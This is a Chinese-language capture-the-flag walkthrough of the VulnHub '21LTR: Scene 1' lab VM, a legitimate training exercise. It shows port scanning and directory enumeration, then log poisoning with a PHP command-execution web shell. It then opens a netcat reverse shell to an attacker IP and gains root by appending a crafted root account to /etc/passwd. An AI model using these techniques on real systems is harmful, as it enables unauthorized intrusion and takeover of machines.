Hack the 21LTR: Scene 1 VM (Boot to Root)

靶机下载链接:

https://www.vulnhub.com/entry/21ltr-scene-1,3/

Hack the 21LTR: Scene 1 VM (Boot to Root)_第1张图片

 

主机扫描:

╰─ nmap -p1-65535 -sV -sC -A  192.168.2.120

Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-28 11:19 CST
Nmap scan report for 192.168.2.120
Host is up (0.0012s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 5.1 (protocol 1.99)
| ssh-hostkey:
| 2048 c0:8c:8b:16:2a:5b:e5:d6:80:6d:cc:f3:ce:27:e6:64 (RSA1)
| 1024 3a:3f:12:21:2d:ba:97:6d:4e:e5:88:1e:17:a5:1f:65 (DSA)
|_ 2048 bb:9d:c0:23:ac:7e:82:7b:c3:e7:46:36:74:88:30:bd (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 2.2.13 ((Unix) DAV/2 PHP/5.2.10)
|_http-server-header: Apache/2.2.13 (Unix) DAV/2 PHP/5.2.10
|_http-title: Intranet Development Server
MAC Address: 00:0C:29:A4:C3:43 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.13 - 2.6.32
Network Distance: 1 hop
Service Info: OS: Unix

http://192.168.2.120/index.php

Hack the 21LTR: Scene 1 VM (Boot to Root)_第2张图片

Hack the 21LTR: Scene 1 VM (Boot to Root)_第3张图片

Hack the 21LTR: Scene 1 VM (Boot to Root)_第4张图片

Hack the 21LTR: Scene 1 VM (Boot to Root)_第5张图片

 

暂时没什么用处,我们尝试目录枚举下

---- Scanning URL: http://192.168.2.120/ ----
+ http://192.168.2.120/cgi-bin/ (CODE:403|SIZE:210)
+ http://192.168.2.120/index.php (CODE:200|SIZE:1323)
==> DIRECTORY: http://192.168.2.120/logs/

---- Entering directory: http://192.168.2.120/logs/ ----

http://192.168.2.120/logs/

Forbidden

You don't have permission to access /logs/ on this server.

http://192.168.2.120/logs/backup_log.php

Hack the 21LTR: Scene 1 VM (Boot to Root)_第6张图片

 

这里的基本思路就是怎么把报错的访问请求写进这个文件去,然后通过PHP的代码进行执行。

这里查看了大神的通关过程,是要访问 10001 端口才能写到日志里面来

nc -nv 192.168.2.120 10001

system($_GET['cmd']) ?>

Hack the 21LTR: Scene 1 VM (Boot to Root)_第7张图片

下载FTP的文件查看,已经写入成功。

Hack the 21LTR: Scene 1 VM (Boot to Root)_第8张图片

http://192.168.2.120/logs/backup_log.php?cmd=id

Hack the 21LTR: Scene 1 VM (Boot to Root)_第9张图片

进行shell反弹

http://192.168.2.120/logs/backup_log.php?cmd=nc -e /bin/sh 192.168.2.128 1234

Hack the 21LTR: Scene 1 VM (Boot to Root)_第10张图片

知道了一个秘钥文件:

/media/USB_1/Stuff/Keys/id_rsa

Hack the 21LTR: Scene 1 VM (Boot to Root)_第11张图片

Hack the 21LTR: Scene 1 VM (Boot to Root)_第12张图片

Hack the 21LTR: Scene 1 VM (Boot to Root)_第13张图片

╰─ openssl passwd -1 -salt hack pass123
$1$hack$22.CgYt2uMolqeatCk9ih/

sudo /usr/bin/cat >> /etc/passwd
hack:$1$hack$22.CgYt2uMolqeatCk9ih/:0:0:/root:/bin/bash
^C

Hack the 21LTR: Scene 1 VM (Boot to Root)_第14张图片

完!

 

你可能感兴趣的:(Hack the 21LTR: Scene 1 VM (Boot to Root))